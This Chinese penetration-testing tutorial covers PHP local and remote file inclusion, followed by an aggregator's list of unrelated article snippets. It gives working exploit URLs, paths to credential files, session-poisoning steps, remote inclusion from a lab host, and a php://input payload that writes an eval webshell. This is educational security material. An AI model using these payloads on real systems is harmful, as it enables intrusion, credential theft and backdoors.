当前位置: 首页 > news >正文

渗透测试--文件包含漏洞

文件包含漏洞

前言

《Web安全实战》系列集合了WEB类常见的各种漏洞,笔者根据自己在Web安全领域中学习和工作的经验,对漏洞原理和漏洞利用面进行了总结分析,致力于漏洞准确性、丰富性,希望对WEB安全工作者、WEB安全学习者能有所帮助,减少获取知识的时间成本。

0x01 文件包含简介

服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。

文件包含函数

PHP中文件包含函数有以下四种:

require()

require_once()

include()

include_once()

includerequire区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。

include_once()require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。

漏洞产生原因

文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。

示例代码

<?php$filename  = $_GET['filename'];include($filename);
?>

    例如:

    $_GET['filename']参数开发者没有经过严格的过滤,直接带入了include的函数,攻击者可以修改$_GET['filename']的值,执行非预期的操作。

    0x02 本地文件包含漏洞

    无限制本地文件包含漏洞

    测试代码:

    <?php$filename  = $_GET['filename'];include($filename);
    ?>
    

      测试结果:

      通过目录遍历漏洞可以获取到系统中其他文件的内容:

      测试结果

      常见的敏感信息路径:

      Windows系统

      c:\boot.ini // 查看系统版本

      c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

      c:\windows\repair\sam // 存储Windows系统初次安装的密码

      c:\ProgramFiles\mysql\my.ini // MySQL配置

      c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码

      c:\windows\php.ini // php 配置信息

      Linux/Unix系统

      /etc/passwd // 账户信息

      /etc/shadow // 账户密码文件

      /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

      /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

      /usr/local/app/php5/lib/php.ini // PHP相关配置

      /etc/httpd/conf/httpd.conf // Apache配置文件

      /etc/my.conf // mysql 配置文件

      session文件包含漏洞

      利用条件:

      session的存储位置可以获取。

      1. 通过phpinfo的信息可以获取到session的存储位置。

      通过phpinfo的信息,获取到session.save_path为/var/lib/php/session:

      获取到session的存储位置

      2. 通过猜测默认的session存放位置进行尝试。

      如linux下默认存储在/var/lib/php/session目录下:

      默认存储

      session中的内容可以被控制,传入恶意代码。

      示例:

      <?php

      session_start();

      $ctfs=$_GET['ctfs'];

      $_SESSION["username"]=$ctfs;

      ?>

        漏洞分析

        此php会将获取到的GET型ctfs变量的值存入到session中。

        当访问http://www.ctfs-wiki/session.php?ctfs=ctfs 后,会在/var/lib/php/session目录下存储session的值。

        session的文件名为sess_+sessionid,sessionid可以通过开发者模式获取。

        通过开发者模式获取

        所以session的文件名为sess_akp79gfiedh13ho11i6f3sm6s6。

        到服务器的/var/lib/php/session目录下查看果然存在此文件,内容为:

        username|s:4:"ctfs";

        [root@c21336db44d2 session]# cat sess_akp79gfiedh13ho11i6f3sm6s6

        username|s:4:"ctfs"

          漏洞利用

          通过上面的分析,可以知道ctfs传入的值会存储到session文件中,如果存在本地文件包含漏洞,就可以通过ctfs写入恶意代码到session文件中,然后通过文件包含漏洞执行此恶意代码getshell。

          当访问http://www.ctfs-wiki/session.php?ctfs=<?php phpinfo();?>后,会在/var/lib/php/session目录下存储session的值。

          [root@6da845537b27 session]# cat sess_83317220159fc31cd7023422f64bea1a

          username|s:18:"<?php phpinfo();?>";

            攻击者通过phpinfo()信息泄露或者猜测能获取到session存放的位置,文件名称通过开发者模式可获取到,然后通过文件包含的漏洞解析恶意代码getshell。

            解析恶意代码getshell

            有限制本地文件包含漏洞绕过

            %00截断

            条件:magic_quotes_gpc = Off php版本<5.3.4

            测试代码:

            <?php$filename  = $_GET['filename'];include($filename . ".html");
            ?>
            

              测试结果:

              http://www.ctfs-wiki.com/FI/FI.php?filename=../../../../../../../boot.ini%00
              

                测试结果

                路径长度截断

                条件:windows OS,点号需要长于256;linux OS 长于4096

                Windows下目录最大长度为256字节,超出的部分会被丢弃;

                Linux下目录最大长度为4096字节,超出的部分会被丢弃。

                测试代码:

                <?php$filename  = $_GET['filename'];include($filename . ".html");
                ?>
                

                  EXP:

                  http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
                  

                    测试结果

                    点号截断

                    条件:windows OS,点号需要长于256

                    测试代码:

                    <?php$filename  = $_GET['filename'];include($filename . ".html");
                    ?>
                    

                      EXP:

                      http://www.ctfs-wiki.com/FI/FI.php
                      ?filename=test.txt.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                      

                        测试结果

                        0x03 远程文件包含漏洞

                        PHP的配置文件allow_url_fopen和allow_url_include设置为ON,include/require等包含函数可以加载远程文件,如果远程文件没经过严格的过滤,导致了执行恶意文件的代码,这就是远程文件包含漏洞。

                        allow_url_fopen = On(是否允许打开远程文件)

                        allow_url_include = On(是否允许include/require远程文件)

                        无限制远程文件包含漏洞

                        测试代码:

                        <?php$filename  = $_GET['filename'];include($filename);
                        ?>
                        

                          测试代码

                          通过远程文件包含漏洞,包含php.txt可以解析。

                          http://www.ctfs-wiki.com/FI/FI.php?filename=http://192.168.91.133/FI/php.txt
                          

                            测试结果:

                            测试结果

                            有限制远程文件包含漏洞绕过

                            测试代码:

                            <?php include($_GET['filename'] . ".html"); ?>
                            

                              代码中多添加了html后缀,导致远程包含的文件也会多一个html后缀。

                              测试代码

                              问号绕过
                              http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt?
                              

                                问号绕过

                                #号绕过
                                http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%23
                                

                                  #号绕过

                                  还有哪些可以绕过?用burp跑一遍发现空格也可以绕过:

                                  空格绕过

                                  http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%20
                                  

                                    空格绕过

                                    0x04 PHP伪协议

                                    PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。 除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。

                                    目录

                                    目录

                                    php:// 输入输出流

                                    PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。

                                    php://filter(本地磁盘文件进行读取)

                                    元封装器,设计用于"数据流打开"时的"筛选过滤"应用,对本地磁盘文件进行读写。

                                    用法:?filename=php://filter/convert.base64-encode/resource=xxx.php ?filename=php://filter/read=convert.base64-encode/resource=xxx.php 一样。

                                    条件:只是读取,需要开启 allow_url_fopen,不需要开启 allow_url_include;

                                    条件

                                    测试代码:

                                    <?php$filename  = $_GET['filename'];include($filename);
                                    ?>
                                    

                                      测试代码

                                      php://input

                                      可以访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据。 enctype="multipart/form-data" 的时候 php://input 是无效的。

                                      用法:?file=php://input 数据利用POST传过去。

                                      php://input (读取POST数据)

                                      碰到file_get_contents()就要想到用php://input绕过,因为php伪协议也是可以利用http协议的,即可以使用POST方式传数据,具体函数意义下一项;

                                      测试代码:

                                      <?phpecho file_get_contents("php://input");
                                      ?>
                                      

                                        测试结果:

                                        测试结果

                                        php://input(写入木马)

                                        测试代码:

                                        <?php$filename  = $_GET['filename'];include($filename);
                                        ?>
                                        

                                          条件:php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.3.0),就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码,即可执行。

                                          如果POST的数据是执行写入一句话木马的PHP代码,就会在当前目录下写入一个木马。

                                          <?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
                                          

                                            在当前目录下写入一个木马

                                            测试结果:

                                            测试结果

                                            如果不开启allow_url_include会报错:报错信息

                                            php://input(命令执行)

                                            测试代码:

                                            <?php$filename  = $_GET['filename'];include($filename);
                                            ?>
                                            

                                              条件:php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.30),就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码,即可执行;

                                              POST过去PHP代码如果不开启allow_url_include会报错:

                                              报错信息

                                              file://伪协议 (读取文件内容)

                                              通过file协议可以访问本地文件系统,读取到文件的内容

                                              测试代码:

                                              <?php$filename  = $_GET['filename'];include($filename);
                                              ?>
                                              

                                                测试代码

                                                data://伪协议

                                                数据流封装器,和php://相似都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的; data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4

                                                data://(读取文件)

                                                和php伪协议的input类似,碰到file_get_contents()来用; <?php // 打印 "I love PHP" echo file_get_contents('data://text/plain;base64,SSBsb3ZlIFBIUAo='); ?>

                                                注意:<span style="color: rgb(121, 121, 121);"><?php phpinfo();,这类执行代码最后没有?></span>闭合;

                                                如果php.ini里的allow_url_include=On(PHP < 5.3.0),就可以造成任意代码执行,同理在这就可以理解成远程文件包含漏洞(RFI) 测试代码:

                                                <?php$filename  = $_GET['filename'];include($filename);
                                                ?>
                                                

                                                  测试结果

                                                  phar://伪协议

                                                  这个参数是就是php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压。

                                                  用法:?file=phar://压缩包/内部文件 phar://xxx.png/shell.php 注意: PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。 步骤: 写一个一句话木马文件shell.php,然后用zip协议压缩为shell.zip,然后将后缀改为png等其他格式。 

                                                  测试代码:

                                                  <?php$filename  = $_GET['filename'];include($filename);
                                                  ?>
                                                  

                                                    测试结果

                                                    zip://伪协议

                                                    zip伪协议和phar协议类似,但是用法不一样。

                                                    用法:?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] zip://xxx.png#shell.php。

                                                    条件: PHP > =5.3.0,注意在windows下测试要5.3.0<PHP<5.4 才可以 #在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符。

                                                    测试代码:

                                                    <?php$filename  = $_GET['filename'];include($filename);
                                                    ?>
                                                    

                                                      测试结果

                                                      相关文章:

                                                      渗透测试--文件包含漏洞

                                                      文件包含漏洞 前言 《Web安全实战》系列集合了WEB类常见的各种漏洞&#xff0c;笔者根据自己在Web安全领域中学习和工作的经验&#xff0c;对漏洞原理和漏洞利用面进行了总结分析&#xff0c;致力于漏洞准确性、丰富性&#xff0c;希望对WEB安全工作者、WEB安全学习者能有所帮助…...

                                                      【物联网】电子电路基础知识

                                                      文章目录 一、基本元器件1. 电阻2. 电容3. 电感4. 二极管(1)符号(2)特性(3)实例分析5. 三极管(1)符号(2)开关特性(3)实例6. MOS管(产效应管)(1)符号(2)MOS管极性判定(3)MOS管作为开关(4)MOS管vs三极管7. 门电路(1)与门(2)或门(3)非门二、常用元器件…...

                                                      vue学习10

                                                      1.GPT和Copilot Copilot Tab接受 删除键&#xff0c;不接受 ctrlenter更多方案 更适合的是修改方向 const submitForm async () > {//等待校验结果await formRef.value.validate()//提交修改await userUpdateInfoService(form.value)//通知user模块&#xff0c;进行数据更…...

                                                      【C语言】C语言 停车场管理系统的设计与实现(源码)【独一无二】

                                                      &#x1f449;博__主&#x1f448;&#xff1a;米码收割机 &#x1f449;技__能&#x1f448;&#xff1a;C/Python语言 &#x1f449;专__注&#x1f448;&#xff1a;专注主流机器人、人工智能等相关领域的开发、测试技术。 系列文章目录 目录 系列文章目录一、设计要求二、设…...

                                                      LeetCodehot100 力扣热题100 二叉树展开为链表

                                                      代码思路 目标&#xff1a; 将二叉树展平&#xff08;flatten&#xff09;为一个单链表。展平后的链表应该按照前序遍历的顺序排列节点&#xff0c;即&#xff1a; • 节点的左子树指针设置为 nullptr。 • 节点的右子树指针指向下一个节点。 代码注释及思路 class Solution…...

                                                      备战蓝桥杯 Day1 回顾语言基础

                                                      开启蓝桥杯刷题之路 Day1 回顾语言基础 1.配置dev 工具->编译选项->勾选编译时加入以下命令->设定编译器配置(release和debug)都要-> -stdc11 ->代码生成/优化->代码生成/优化->语言标准(-std)->ISO C11 ->代码警告->显示最多警告信息(-Wall)…...

                                                      基于Ceedling的嵌入式软件单元测试

                                                      Ceedling 如果你使用 Ceedling&#xff08;一个针对 C 代码单元测试的构建管理器&#xff09;&#xff0c;可以更方便地管理测试。Ceedling 会自动处理 Unity 和 CMock 的集成&#xff0c;无需手动编写 Makefile。 1.环境搭建 1.1 Ruby环境 sudo apt-get install ruby1.2 安…...

                                                      聊一聊FutureTask源码中体现的“自旋锁”思想

                                                      前言 这篇文章记录了笔者自己对FutureTask的部分源码设计的思考与心得&#xff0c;属于笔者自己的观点&#xff0c;若有哪位热爱源码研究的同仁觉得我说的不对&#xff0c;欢迎批评指正。 提示&#xff1a;在阅读之前必须对FutureTask的源码和实现原理有一定的了解。本文要聊…...

                                                      自有证书的rancher集群使用rke部署k8s集群异常

                                                      rancher使用自签域名&#xff0c;或者商业证书容易踩到的坑。 最开始的报错&#xff1a; docker logs kubelet‘s id E0214 13:04:14.590268 9614 pod_workers.go:1300] "Error syncing pod, skipping" err"failed to \"StartContainer\" for …...

                                                      LabVIEW外腔二极管激光器稳频实验

                                                      本项目利用LabVIEW软件开发了一个用于外腔二极管激光器稳频实验的系统。系统能够实现激光器频率的稳定控制和实时监测&#xff0c;为激光实验提供了重要支持。 项目背景&#xff1a; 系统解决了外腔二极管激光器频率不稳定的问题&#xff0c;以满足对激光器频率稳定性要求较高…...

                                                      使用docker compose启动postgres并设置时区

                                                      设置PostGres时区 方法 1: 使用 POSTGRES_INITDB_ARGS 设置时区方法 2: 使用初始化脚本设置时区创建 init-user-db.sql更新 docker-compose.yml 启动服务 要在启动 PostgreSQL 数据库时设置时区&#xff0c;可以通过在 docker-compose.yml 文件中添加环境变量或通过配置文件来实…...

                                                      杜绝遛狗不牵绳,AI技术助力智慧城市宠物管理

                                                      在我们的生活中&#xff0c;宠物扮演着越来越重要的角色。然而&#xff0c;随着养宠人数的增加&#xff0c;一系列问题也随之而来&#xff0c;如烈性犬伤人、遛狗不牵绳、流浪犬泛滥等。这些问题不仅影响了社会秩序&#xff0c;也给宠物本身带来了安全隐患。幸运的是&#xff0…...

                                                      【ISO 14229-1:2023 UDS诊断全量测试用例清单系列:第二十节】

                                                      ISO 14229-1:2023 UDS诊断服务测试用例全解析&#xff08;WriteMemoryByAddress_0x3D服务&#xff09; 作者&#xff1a;车端域控测试工程师 更新日期&#xff1a;2025年02月14日 关键词&#xff1a;UDS协议、0x3D服务、内存写入、ISO 14229-1:2023、ECU测试 一、服务功能概述…...

                                                      [npm install 报错] Verion 9 of Highlight.js has reached EOL

                                                      1、在项目中执行npm install 报错 Verion 9 of Highlight.js has reached EOL,如下图: 2、报错原因 Highlight.js 不再支持10以前的版本&#xff0c;需下载10及之后的版本 3、解决办法 打开项目中的package.json文件&#xff0c;将highlight.js的版本修改为:10.7.2,删除node…...

                                                      Flutter Gradle 命令式插件正式移除,你迁移旧版 Gradle 配置了吗?

                                                      在 Flutter 3.29 版本里官方正式移除了 Flutter Gradle Apply 插件&#xff0c;其实该插件自 3.19 起已被弃用&#xff0c;同时 Flutter 团队后续也打算把 Flutter Gradle 从 Groovy 转换为 Kotlin&#xff0c;并将其迁移到使用 AGP&#xff08;Android Gradle Plugin&#xff…...

                                                      CCF-GESP 等级考试 2024年9月认证C++二级真题解析

                                                      2024年9月真题 一、单选题&#xff08;每题2分&#xff0c;共30分&#xff09; 正确答案&#xff1a;A 考察知识点&#xff1a;计算机存储 解析&#xff1a;磁心存储元件是早期计算机中用于存储数据的部件&#xff0c;它和现代计算机中的内存功能类似&#xff0c;都是用于临时…...

                                                      CubeMX配置STM32L071KZT6

                                                      明确需要配置的项 下面是工作中遇到某个项目提炼出来的的功能需求。其中MCU选用STM32L071KZT6。 名称 标识 IO功能 对应引脚 备注 蜂鸣器 BUZZER 开关量输出 PA2 指示灯 LED-R PA15 LED-G PA12 LED-Y PA11 按键 KEY-1 开关量输入 PB5 外…...

                                                      RadASM环境,win32汇编入门教程之二

                                                      ;win32汇编环境&#xff0c;RadAsm入门教程之二 ;前面我们已经学了教程一&#xff0c;生成了第一个软件。那么让我们继续我们的学习旅程。本教程讲解一下基本窗口模版的原理。让我们打开RadASM后&#xff0c;双击右侧的ABC.Asm文件&#xff0c;一点点研究。 ;首先&#xff0c;我…...

                                                      mysql开启gtid并配置主从

                                                      默认主从都开启了bin log. 1.主从都在/etc/my.cnf中加入并重启服务 gtid_mode ON enforce_gtid_consistency ON 2.在主库创建用户并授权 create user slave identified with mysql_native_password by 123456 mysql>GRANT REPLICATION SLAVE ON *.* to slave% identified…...

                                                      RAG科普文!检索增强生成的技术全景解析

                                                      RAG 相关技术的八个主题&#xff1a;https://pub.towardsai.net/a-taxonomy-of-retrieval-augmented-generation-a39eb2c4e2ab 增强生成 (RAG) 是塑造应用生成式 AI 格局的关键技术。Lewis 等人在其开创性论文中提出了一个新概念面向知识密集型 NLP 任务的检索增强生成之后&…...

                                                      【Sceneform-EQR】实现3D场景背景颜色的定制化(背景融合的方式、Filament材质定制)

                                                      写在前面的话 Sceneform-EQR是基于&#xff08;filament&#xff09;扩展的一个用于安卓端的渲染引擎。故本文内容对Sceneform-EQR与Filament都适用。 需求场景 在使用Filament加载三维场景的过程中&#xff0c;一个3D场景对应加载一个背景纹理。而这样的话&#xff0c;即便…...

                                                      python自动化测试之统一请求封装及通过文件实现接口关联

                                                      一、接口文档怎么看&#xff1f; http://www.aaa.com/api.php?sindex/index&applicationapp&application_client_typeweixi n&tokentokenvalue&ajaxajax 参数解释&#xff1a; http 协议 www.aaa.com IP和端口 api.php 接口的地址 sindex/index 接口名称以 …...

                                                      Redis笔记

                                                      文章目录 Redis笔记通用命令get和setkeysexistsdelexpirettlRedis的key过期策略定时器的实现原理type 持久化RDB(Redis DataBase)---定期备份bgsave AOF(Append Only File)---实时备份 Redis笔记 Redis是一个“客户端-服务器”结构的程序&#xff0c;客户端和服务器之间通过网…...

                                                      repo学习使用

                                                      Repo 是以 Git 为基础构建的代码库管理工具。Repo 可以在必要时整合多个 Git 代码库&#xff0c;将相关内容上传到版本控制系统。借助单个 Repo 命令&#xff0c;可以将文件从多个代码库下载到本地工作目录。 Repo 命令是一段可执行的 Python 脚本&#xff0c;你可以将其放在路…...

                                                      windows 通过docker 安装mysql

                                                      参考&#xff1a;Docker安装并使用Mysql&#xff08;可用详细&#xff09;_docker 安装mysql-CSDN博客 1. 拉取镜像&#xff1a;docker pull mysql:5.7 2. 查看镜像&#xff1a;docker image 3. 创建mysql 容器实例&#xff0c;并将data 目录挂载到本地d盘上 docker run --n…...

                                                      高效利用Python爬虫开发批量获取商品信息

                                                      在当今电商行业竞争激烈的环境下&#xff0c;精准且高效地获取商品信息对于商家和数据分析师来说至关重要。无论是进行市场调研、优化商品布局&#xff0c;还是制定竞争策略&#xff0c;商品信息的全面掌握都是关键。Python爬虫技术以其强大的功能和灵活性&#xff0c;成为批量…...

                                                      【C语言】左旋字符串(三种实现方式)

                                                      题目&#xff1a; 实现一个函数&#xff0c;可以左旋字符串中的k个字符。 例如&#xff1a; ABCD左旋一个字符得到BCDA ABCD左旋两个字符得到CDAB 方法一&#xff1a; 我们画个图分析一下&#xff1a; 基本逻辑&#xff1a; 就是我们每一次旋转之前&#xff0c;我们就取出…...

                                                      Spring Security,servlet filter,和白名单之间的关系

                                                      首先&#xff0c;Servlet Filter是Java Web应用中的基础组件&#xff0c;用于拦截请求和响应&#xff0c;进行预处理和后处理。它们在处理HTTP请求时处于最外层&#xff0c;可以执行日志记录、身份验证、授权等操作。白名单机制通常指允许特定IP、用户或请求通过的安全策略&…...

                                                      Python 调用 Azure OpenAI API

                                                      在人工智能和机器学习快速发展的今天,Azure OpenAI 服务为开发者提供了强大的工具来集成先进的 AI 能力到他们的应用中。本文将指导您如何使用 Python 调用 Azure OpenAI API,特别是使用 GPT-4 模型进行对话生成。 准备工作 在开始之前,请确保您已经: 拥有一个 Azure 账户…...

                                                      Git标签管理:从基础到高阶自动化实践

                                                      引言 在软件发布过程中&#xff0c;88%的生产事故与版本标记错误相关。Git标签&#xff08;Tag&#xff09;作为版本控制的关键锚点&#xff0c;不仅是发布流程的里程碑&#xff0c;更是代码审计和问题追溯的重要依据。本文将深入Git标签的底层机制&#xff0c;揭示企业级标签…...

                                                      运行Petalinux的准备

                                                      参考文档 建议使用Xilinx官方的文档中心DocNav&#xff0c;在Design Hub View选项卡中可以看到Xilinx官方组织的开发流程&#xff0c;非常详尽且总是最新的。 《UG1144-petalinux-tools-reference-guide》 安装linux系统 1.查看Petalinux版本支持的系统版本,对于官方未提及或…...

                                                      Jenkins 通过 Execute Shell 执行 shell 脚本 七

                                                      Jenkins 通过 Execute Shell 执行 shell 脚本 七 一、创建 .sh 文件 项目目录下新建 .sh 文件 jenkins-script\shell\ci_android_master.sh添加 Execute Shell 模块 在 Command 中添加 # 获取 .sh 路径 CI_ANDROID_MASTER_PATH"${WORKSPACE}/jenkins-script/shell/…...

                                                      AT32系列微控制器低压电机控制开发板

                                                      参考&#xff1a;《UM0014_AT32_LV_Motor_Control_EVB_V20_User_Manual_V1.0.1_ZH.pdf》 开发板介绍 此电机开发板是一个泛用型的低压三相电机驱动器&#xff0c;应用雅特力科技AT32系列微控制器搭配雅特力电机函数库&#xff0c;可驱动直流无刷电机、交流同步电机&#xff0…...

                                                      k8s部署redis集群

                                                      前置环境:已部署k8s集群,ip地址为 192.168.10.1~192.168.10.5,总共5台机器。 1. 创建provisioner制备器(如果已存在,则不需要) 需要部署方式,可以参考我之前的文章:k8s部署rabbitmq-CSDN博客 2. 新增redis配置文件 redis-6001.yaml --- apiVersion: v1 kind: Serv…...

                                                      道路运输安全员考试题库及答案

                                                      一、判断题 32.驾驶员必须取得道路危险货物运输从业资格证&#xff0c;才能从事道路危险货物运输活动。 答案&#xff1a;正确 33.可以将危险货物与普通货物混装运输。 答案&#xff1a;错误 34.货车正常行驶时&#xff0c;转向轮转向后应有一定的回正能力&#xff0c;以使货…...

                                                      反射概率以及一些基本API的使用

                                                      请问&#xff0c;获取对象有几种方式&#xff1f; 1、通过构造函数来new一个对象&#xff1b; 2、通过clone来克隆一个对象&#xff1b; 3、通过序列化反序列化来构建一个对象&#xff1b; 4、通过反射来创建对象&#xff1b;a、通过Class类来创建&#xff1b;b、通过Const…...

                                                      DeepSeek API 调用 - Spring Boot 实现

                                                      DeepSeek API 调用 - Spring Boot 实现 1. 项目依赖 在 pom.xml 中添加以下依赖&#xff1a; <dependencies><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-webflux</artifactId></depe…...

                                                      机器学习 - 理论和定理

                                                      在机器学习中&#xff0c;有一些非常有名的理论或定理&#xff0c;对理解机器学习的内在特性非常有帮助。本文列出机器学习中常用的理论和定理&#xff0c;并举出对应的举例子加以深化理解&#xff0c;有些理论比较抽象&#xff0c;我们可以先记录下来&#xff0c;慢慢啃&#…...

                                                      Java进阶:Docker

                                                      1. Docker概述 1.1. Docker简介 Docker 是一个开源的应用容器引擎&#xff0c;基于 Go 语言开发。Docker 可以让开发者打包他们的应用以及依赖包到一个轻量级、可移植的容器中&#xff0c;然后发布到任何流行的 Linux 机器上&#xff0c;也可以实现虚拟化。容器是完全使用沙箱…...

                                                      Winform禁止高分辨下缩放布局成功方法

                                                      Windows自动缩放布局会导致窗体上的按钮和文本挤在一起根本看不清楚。 那么该如何解决呢&#xff1f; 具体操作步骤如下&#xff1a; 1、在项目属性上切换到【安全性】菜单&#xff0c;勾选【启用ClickOnce安全设置】&#xff0c;然后立刻取消勾选&#xff1b; 为了生成app.…...

                                                      力扣142题——环形链表II

                                                      #题目# #代码# #链接# 这道链表题还是需要一些思维&#xff0c;这里把代码随想录的链接也贴在这里&#xff0c;有需要的小伙伴自行点击&#xff1a; https://programmercarl.com/0142.%E7%8E%AF%E5%BD%A2%E9%93%BE%E8%A1%A8II.html#%E7%AE%97%E6%B3%95%E5%85%AC%E5%BC%80%E8%…...

                                                      工厂设计模式

                                                      工厂设计模式 简介 工厂模式是一种创建型设计模式&#xff0c;用于创建产品&#xff0c;代替手动new&#xff0c;主要包括简单工厂模式、工厂方法模式、抽象工厂模式。 一、简单工厂模式 定义&#xff1a;通过一个工厂类根据传入的参数匹配创建的产品 结构组成&#xff1a…...

                                                      网络安全之探险

                                                      因为工作相关性&#xff0c;看着第三方公司出具的网络安全和shentou测试报告就想更深入研究一下&#xff0c;于是乎开始探索网络安全方面的知识&#xff0c;度娘、知乎开始一步步开始&#xff0c;总结昨天学到皮毛知识。 1.考证大全&#xff0c;开始是奔着这个目的去的 2.有用…...

                                                      Python基础语法精要

                                                      文章目录 一、Python的起源二、Python的用途三、Python的优缺点优点缺点 四、基础语法&#xff08;1&#xff09;常量和表达式&#xff08;2&#xff09;变量变量的语法&#xff08;i&#xff09;定义变量&#xff08;ii&#xff09;变量命名的规则 &#xff08;3&#xff09;变…...

                                                      C语言(枚举类型)

                                                      目录 1、什么是枚举 2、枚举成员的类型 3、枚举类型的实际应用 1、什么是枚举 枚举的定义就是&#xff1a;枚举&#xff08;Enumeration&#xff09;是一种用户自定义的数据类型&#xff0c;用于定义一组具有离散值的符号常量。 那通俗一点说就是把一些固定的值&#xff0c;一…...

                                                      讯方·智汇云校华为授权培训机构的介绍

                                                      官方授权 华为授权培训服务伙伴&#xff08;Huawei Authorized Learning Partner&#xff0c;简称HALP&#xff09;是获得华为授权&#xff0c;面向公众&#xff08;主要为华为企业业务的伙伴/客户&#xff09;提供与华为产品和技术相关的培训服务&#xff0c;培养华为产业链所…...

                                                      高级 Conda 使用:环境导出、共享与优化

                                                      1. 引言 在 Conda 的基础包管理功能中&#xff0c;我们了解了如何安装、更新和卸载包。但对于开发者来说&#xff0c;如何更好地管理环境、导出环境配置、共享环境&#xff0c;以及如何优化 Conda 的使用效率&#xff0c;才是提高工作效率的关键。本篇博客将进一步深入 Conda …...

                                                      从算法到落地:DeepSeek如何突破AI工具的同质化竞争困局

                                                      &#x1f381;个人主页&#xff1a;我们的五年 &#x1f50d;系列专栏&#xff1a;Linux网络编程 &#x1f337;追光的人&#xff0c;终会万丈光芒 &#x1f389;欢迎大家点赞&#x1f44d;评论&#x1f4dd;收藏⭐文章 ​ Linux网络编程笔记&#xff1a; https://blog.cs…...

                                                      P9584 「MXOI Round 1」城市

                                                      题目描述 小 C 是 F 国的总统&#xff0c;尽管这个国家仅存在于网络游戏中&#xff0c;但他确实是这个国家的总统。 F 国由 n 个城市构成&#xff0c;这 n 个城市之间由 n−1 条双向道路互相连接。保证从任意一个城市出发&#xff0c;都能通过这 n−1 条双向道路&#xff0c;…...

                                                      CodeGPT + IDEA + DeepSeek,在IDEA中引入DeepSeek实现AI智能开发

                                                      CodeGPT IDEA DeepSeek&#xff0c;在IDEA中引入DeepSeek 版本说明 建议和我使用相同版本&#xff0c;实测2022版IDEA无法获取到CodeGPT最新版插件。&#xff08;在IDEA自带插件市场中搜不到&#xff0c;可以去官网搜索最新版本&#xff09; ToolsVersionIntelliJ IDEA202…...